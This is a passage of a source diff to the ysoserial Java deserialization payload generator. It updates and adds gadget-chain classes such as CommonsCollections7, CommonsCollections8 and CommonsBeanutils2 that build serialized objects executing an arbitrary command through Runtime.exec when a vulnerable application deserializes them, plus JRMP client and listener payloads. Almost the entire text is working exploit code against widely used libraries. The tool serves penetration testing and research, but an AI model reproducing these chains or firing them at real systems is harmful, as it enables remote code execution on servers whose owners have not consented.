 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
 @Authors({ Authors.FROHOFF })
-public class CommonsBeanutils1 extends ExtendedObjectPayload<Object> {
+public class CommonsBeanutils1 implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final BeanComparator comparator = new BeanComparator("lowestSetBit");

src/main/java/ysoserial/payloads/CommonsBeanutils2.java

@@ -0,0 +1,44 @@
+package ysoserial.payloads;
+
+import org.apache.commons.beanutils.BeanComparator;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.PriorityQueue;
+
+// Origin Detective is PHITHON From
+// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
+@Authors({Authors.K4n5ha0})
+public class CommonsBeanutils2 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        // mock method name until armed
+        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
+
+        // create queue with numbers and basic comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add("1");
+        queue.add("1");
+
+        // switch method called by comparator
+        Reflections.setFieldValue(comparator, "property", "outputProperties");
+
+        // switch contents of queue
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        queueArray[0] = templates;
+        queueArray[1] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsBeanutils2.class, args);
+    }
+}

src/main/java/ysoserial/payloads/CommonsCollections1.java

@@ -1,6 +1,5 @@
 package ysoserial.payloads;
 
-import java.io.Serializable;
 import java.lang.reflect.InvocationHandler;
 import java.util.HashMap;
 import java.util.Map;
@@ -45,9 +44,10 @@ import ysoserial.payloads.util.Reflections;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler> {
+public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 
-	public InvocationHandler getObject(final String[] command) throws Exception {
+	public InvocationHandler getObject(final String command) throws Exception {
+		final String[] execArgs = new String[] { command };
 		// inert chain for setup
 		final Transformer transformerChain = new ChainedTransformer(
 			new Transformer[]{ new ConstantTransformer(1) });
@@ -61,7 +61,7 @@ public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler
 					Object.class, Object[].class }, new Object[] {
 					null, new Object[0] }),
 				new InvokerTransformer("exec",
-					new Class[] { String[].class }, new Object[] { command }),
+					new Class[] { String.class }, execArgs),
 				new ConstantTransformer(1) };
 
 		final Map innerMap = new HashMap();

src/main/java/ysoserial/payloads/CommonsCollections2.java

@@ -27,9 +27,9 @@ import ysoserial.payloads.util.Reflections;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.apache.commons:commons-collections4:4.0" })
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections2 extends ExtendedObjectPayload<Queue<Object>> {
+public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
 
-	public Queue<Object> getObject(final String[] command) throws Exception {
+	public Queue<Object> getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 		// mock method name until armed
 		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

src/main/java/ysoserial/payloads/CommonsCollections3.java

@@ -30,9 +30,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections3 extends ExtendedObjectPayload<Object> {
+public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		Object templatesImpl = Gadgets.createTemplatesImpl(command);
 
 		// inert chain for setup

src/main/java/ysoserial/payloads/CommonsCollections4.java

@@ -26,9 +26,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({ Authors.FROHOFF })
-public class CommonsCollections4 extends ExtendedObjectPayload<Queue<Object>> {
+public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
 
-	public Queue<Object> getObject(final String[] command) throws Exception {
+	public Queue<Object> getObject(final String command) throws Exception {
 		Object templates = Gadgets.createTemplatesImpl(command);
 
 		ConstantTransformer constant = new ConstantTransformer(String.class);

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -24,22 +24,21 @@ import ysoserial.payloads.util.Reflections;
 
 /*
 	Gadget chain:
-		ObjectInputStream.readObject()
+        ObjectInputStream.readObject()
-			AnnotationInvocationHandler.readObject()
+            BadAttributeValueExpException.readObject()
-				Map(Proxy).entrySet()
+                TiedMapEntry.toString()
-					AnnotationInvocationHandler.invoke()
+                    LazyMap.get()
-						LazyMap.get()
+                        ChainedTransformer.transform()
-							ChainedTransformer.transform()
+                            ConstantTransformer.transform()
-								ConstantTransformer.transform()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Class.getMethod()
-										Class.getMethod()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.getRuntime()
-										Runtime.getRuntime()
+                            InvokerTransformer.transform()
-								InvokerTransformer.transform()
+                                Method.invoke()
-									Method.invoke()
+                                    Runtime.exec()
-										Runtime.exec()
 
 	Requires:
 		commons-collections
@@ -49,14 +48,14 @@ This only works in JDK 8u76 and WITHOUT a security manager
 
 https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
  */
-//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
 @SuppressWarnings({"rawtypes", "unchecked"})
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
-public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
+public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
 
-	public BadAttributeValueExpException getObject(final String[] command) throws Exception {
+	public BadAttributeValueExpException getObject(final String command) throws Exception {
+		final String[] execArgs = new String[] { command };
 		// inert chain for setup
 		final Transformer transformerChain = new ChainedTransformer(
 		        new Transformer[]{ new ConstantTransformer(1) });
@@ -70,7 +69,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValue
 					Object.class, Object[].class }, new Object[] {
 					null, new Object[0] }),
 				new InvokerTransformer("exec",
-					new Class[] { String[].class }, new Object[] { command }),
+					new Class[] { String.class }, execArgs),
 				new ConstantTransformer(1) };
 
 		final Map innerMap = new HashMap();
@@ -81,7 +80,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValue
 
 		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 		Field valfield = val.getClass().getDeclaredField("val");
-		valfield.setAccessible(true);
+        Reflections.setAccessible(valfield);
 		valfield.set(val, entry);
 
 		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

src/main/java/ysoserial/payloads/CommonsCollections6.java

@@ -9,6 +9,7 @@ import org.apache.commons.collections.map.LazyMap;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.io.Serializable;
 import java.lang.reflect.Field;
@@ -35,9 +36,12 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({ Authors.MATTHIASKAISER })
-public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
+public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+
+        final String[] execArgs = new String[] { command };
 
-    public Serializable getObject(final String[] command) throws Exception {
         final Transformer[] transformers = new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] {
@@ -47,7 +51,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
                         Object.class, Object[].class }, new Object[] {
                         null, new Object[0] }),
                 new InvokerTransformer("exec",
-                        new Class[] { String[].class }, new Object[] { command }),
+                        new Class[] { String.class }, execArgs),
                 new ConstantTransformer(1) };
 
         Transformer transformerChain = new ChainedTransformer(transformers);
@@ -67,7 +71,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
-        f.setAccessible(true);
+        Reflections.setAccessible(f);
         HashMap innimpl = (HashMap) f.get(map);
 
         Field f2 = null;
@@ -77,8 +81,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
-
+        Reflections.setAccessible(f2);
-        f2.setAccessible(true);
         Object[] array = (Object[]) f2.get(innimpl);
 
         Object node = array[0];
@@ -93,7 +96,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
         }
 
-        keyField.setAccessible(true);
+        Reflections.setAccessible(keyField);
         keyField.set(node, entry);
 
         return map;

src/main/java/ysoserial/payloads/CommonsCollections7.java

@@ -0,0 +1,87 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.map.LazyMap;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+    Payload method chain:
+
+    java.util.Hashtable.readObject
+    java.util.Hashtable.reconstitutionPut
+    org.apache.commons.collections.map.AbstractMapDecorator.equals
+    java.util.AbstractMap.equals
+    org.apache.commons.collections.map.LazyMap.get
+    org.apache.commons.collections.functors.ChainedTransformer.transform
+    org.apache.commons.collections.functors.InvokerTransformer.transform
+    java.lang.reflect.Method.invoke
+    sun.reflect.DelegatingMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke0
+    java.lang.Runtime.exec
+*/
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
+
+public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
+
+    public Hashtable getObject(final String command) throws Exception {
+
+        // Reusing transformer chain and LazyMap gadgets from previous payloads
+        final String[] execArgs = new String[]{command};
+
+        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
+
+        final Transformer[] transformers = new Transformer[]{
+            new ConstantTransformer(Runtime.class),
+            new InvokerTransformer("getMethod",
+                new Class[]{String.class, Class[].class},
+                new Object[]{"getRuntime", new Class[0]}),
+            new InvokerTransformer("invoke",
+                new Class[]{Object.class, Object[].class},
+                new Object[]{null, new Object[0]}),
+            new InvokerTransformer("exec",
+                new Class[]{String.class},
+                execArgs),
+            new ConstantTransformer(1)};
+
+        Map innerMap1 = new HashMap();
+        Map innerMap2 = new HashMap();
+
+        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
+        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
+        lazyMap1.put("yy", 1);
+
+        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
+        lazyMap2.put("zZ", 1);
+
+        // Use the colliding Maps as keys in Hashtable
+        Hashtable hashtable = new Hashtable();
+        hashtable.put(lazyMap1, 1);
+        hashtable.put(lazyMap2, 2);
+
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
+
+        // Needed to ensure hash collision after previous manipulations
+        lazyMap2.remove("yy");
+
+        return hashtable;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsCollections7.class, args);
+    }
+}

src/main/java/ysoserial/payloads/CommonsCollections8.java

@@ -0,0 +1,56 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections4.bag.TreeBag;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.InvokerTransformer;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/*
+	Gadget chain:
+        org.apache.commons.collections4.bag.TreeBag.readObject
+        org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
+        java.util.TreeMap.put
+        java.util.TreeMap.compare
+        org.apache.commons.collections4.comparators.TransformingComparator.compare
+        org.apache.commons.collections4.functors.InvokerTransformer.transform
+        java.lang.reflect.Method.invoke
+        sun.reflect.DelegatingMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke0
+        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
+            ... (TemplatesImpl gadget)
+        java.lang.Runtime.exec
+ */
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.apache.commons:commons-collections4:4.0"})
+@Authors({ Authors.NAVALORENZO })
+public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
+
+	public TreeBag getObject(final String command) throws Exception {
+        Object templates = Gadgets.createTemplatesImpl(command);
+
+        // setup harmless chain
+        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
+
+        // define the comparator used for sorting
+        TransformingComparator comp = new TransformingComparator(transformer);
+
+        // prepare CommonsCollections object entry point
+        TreeBag tree = new TreeBag(comp);
+        tree.add(templates);
+
+        // arm transformer
+        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
+
+        return tree;
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(CommonsCollections8.class, args);
+	}
+
+}

src/main/java/ysoserial/payloads/ExtendedObjectPayload.java

@@ -1,24 +0,0 @@
-package ysoserial.payloads;
-
-import java.util.LinkedList;
-import java.util.List;
-import java.util.StringTokenizer;
-
-public abstract class ExtendedObjectPayload<T> implements ObjectPayload<T> {
-	abstract public T getObject(String[] command) throws Exception;
-	
-	/**
-	 * Method to keep backward compatibility with ObjectPayload
-	 * using StringTokenizer used in java.lang.Runtime.exec(String)
-	 */
-	@Override
-	public T getObject(String command) throws Exception {
-		final StringTokenizer tokenizer = new StringTokenizer(command);
-		final List<String> commandTokenized = new LinkedList<String>();
-		while (tokenizer.hasMoreTokens()) {
-			commandTokenized.add(tokenizer.nextToken());
-		}
-		final String[] commandTokenizedArray= commandTokenized.toArray(new String[0]);
-		return this.getObject(commandTokenizedArray);
-	}
-}

src/main/java/ysoserial/payloads/FileUpload1.java

@@ -14,6 +14,7 @@ import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -40,9 +41,12 @@ import ysoserial.payloads.util.Reflections;
     "commons-fileupload:commons-fileupload:1.3.1",
     "commons-io:commons-io:2.4"
 } )
-@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
 @Authors({ Authors.MBECHLER })
-public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
+public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public DiskFileItem getObject ( String command ) throws Exception {
 
@@ -69,7 +73,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
     }
 
 
-    public void release ( DiskFileItem obj ) throws Exception {
+    public void postSerializeRelease(DiskFileItem obj ) throws Exception {
         // otherwise the finalizer deletes the file
         DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
         Reflections.setFieldValue(obj, "dfos", dfos);

src/main/java/ysoserial/payloads/Groovy1.java

@@ -29,9 +29,9 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
 @Authors({ Authors.FROHOFF })
-public class Groovy1 extends ExtendedObjectPayload<InvocationHandler> {
+public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
 
-	public InvocationHandler getObject(final String[] command) throws Exception {
+	public InvocationHandler getObject(final String command) throws Exception {
 		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
 
 		final Map map = Gadgets.createProxy(closure, Map.class);

src/main/java/ysoserial/payloads/Hibernate1.java

@@ -5,6 +5,8 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.HashMap;
 
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.tuple.component.AbstractComponentTuplizer;
@@ -12,9 +14,12 @@ import org.hibernate.tuple.component.PojoComponentTuplizer;
 import org.hibernate.type.AbstractType;
 import org.hibernate.type.ComponentType;
 import org.hibernate.type.Type;
+import org.hibernate.EntityMode;
 
 import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -37,7 +42,11 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  */
 @Authors({ Authors.MBECHLER })
-public class Hibernate1 extends ExtendedObjectPayload<Object> implements DynamicDependencies {
+@PayloadTest(precondition = "isApplicableJavaVersion")
+public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         if ( System.getProperty("hibernate5") != null ) {
@@ -69,7 +78,7 @@ public class Hibernate1 extends ExtendedObjectPayload<Object> implements Dynamic
         Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
         Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
         Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
-        bgCon.setAccessible(true);
+        Reflections.setAccessible(bgCon);
 
         if ( !method.startsWith("get") ) {
             throw new IllegalArgumentException("Hibernate4 can only call getters");
@@ -96,7 +105,7 @@ public class Hibernate1 extends ExtendedObjectPayload<Object> implements Dynamic
     }
 
 
-    public Object getObject ( String[] command ) throws Exception {
+    public Object getObject ( String command ) throws Exception {
         Object tpl = Gadgets.createTemplatesImpl(command);
         Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
         return makeCaller(tpl, getters);
@@ -105,6 +114,15 @@ public class Hibernate1 extends ExtendedObjectPayload<Object> implements Dynamic
 
     static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
             InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        if ( System.getProperty("hibernate3") != null ) {
+            return makeHibernate3Caller(tpl, getters);
+        }
+        return makeHibernate45Caller(tpl, getters);
+    }
+
+
+    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
         PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
         Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
 
@@ -127,6 +145,40 @@ public class Hibernate1 extends ExtendedObjectPayload<Object> implements Dynamic
     }
 
 
+    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        // Load at runtime to avoid dependency conflicts
+        Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
+        Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
+        Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
+
+        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
+        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
+        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
+
+        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
+        HashMap hm = new HashMap();
+        hm.put(EntityMode.POJO, tup);
+        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
+        Reflections.setFieldValue(t, "tuplizerMapping", emtm);
+        Reflections.setFieldValue(t, "propertySpan", 1);
+        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
+            t
+        });
+
+        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
+        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v1, "value", tpl);
+        Reflections.setFieldValue(v1, "type", t);
+
+        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v2, "value", tpl);
+        Reflections.setFieldValue(v2, "type", t);
+
+        return Gadgets.makeMap(v1, v2);
+    }
+
+
     public static void main ( final String[] args ) throws Exception {
         PayloadRunner.run(Hibernate1.class, args);
     }

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -3,6 +3,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 import com.sun.rowset.JdbcRowSetImpl;
@@ -41,9 +42,12 @@ import com.sun.rowset.JdbcRowSetImpl;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Hibernate1.getDependencies();

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -16,8 +16,11 @@ import org.jboss.interceptor.spi.model.InterceptionModel;
 import org.jboss.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,13 +29,17 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
-    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
-public class JBossInterceptors1 extends ExtendedObjectPayload<Object> {
+public class JBossInterceptors1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         final Object gadget = Gadgets.createTemplatesImpl(command);
 
@@ -44,7 +51,7 @@ public class JBossInterceptors1 extends ExtendedObjectPayload<Object> {
         s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -2,6 +2,8 @@ package ysoserial.payloads;
 
 
 import java.lang.reflect.Proxy;
+import java.net.URI;
+import java.net.URISyntaxException;
 import java.rmi.registry.Registry;
 import java.rmi.server.ObjID;
 import java.rmi.server.RemoteObjectInvocationHandler;
@@ -49,11 +51,13 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
+@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectTest")
 @Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
 
-    public Registry getObject ( final String command ) throws Exception {
+    public Registry getObject ( String command ) throws Exception {
+
+        command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
 
         String host;
         int port;

src/main/java/ysoserial/payloads/JRMPListener.java

@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
 
 import sun.rmi.server.ActivationGroupImpl;
 import sun.rmi.server.UnicastServerRef;
+import sun.rmi.transport.ObjectTable;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
@@ -34,9 +35,9 @@ import ysoserial.payloads.util.Reflections;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( skip = "This test would make you potentially vulnerable")
+@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
 @Authors({ Authors.MBECHLER })
-public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
+public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
 
     public UnicastRemoteObject getObject ( final String command ) throws Exception {
         int jrmpPort = Integer.parseInt(command);
@@ -50,8 +51,13 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
         return uro;
     }
 
+    @Override
+    public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
+        // unexport ref to allow listener thread (and jvm) to exit
+        ObjectTable.unexportObject(obj, true);
+    }
 
     public static void main ( final String[] args ) throws Exception {
-        PayloadRunner.run(JRMPListener.class, args);
+        UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
     }
 }

src/main/java/ysoserial/payloads/JSON1.java

@@ -22,7 +22,6 @@ import javax.management.openmbean.TabularType;
 import javax.xml.transform.Templates;
 
 import org.springframework.aop.framework.AdvisedSupport;
-import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
 import net.sf.json.JSONObject;
 
 
@@ -66,9 +65,9 @@ import net.sf.json.JSONObject;
     "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
     "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
 @Authors({ Authors.MBECHLER })
-public class JSON1 extends ExtendedObjectPayload<Object> {
+public class JSON1 implements ObjectPayload<Object> {
 
-    public Map getObject ( String[] command ) throws Exception {
+    public Map getObject ( String command ) throws Exception {
         return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
     }
 
@@ -95,12 +94,11 @@ public class JSON1 extends ExtendedObjectPayload<Object> {
         // it's very likely that there are other proxy impls that could be used
         AdvisedSupport as = new AdvisedSupport();
         as.setTarget(payload);
-        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
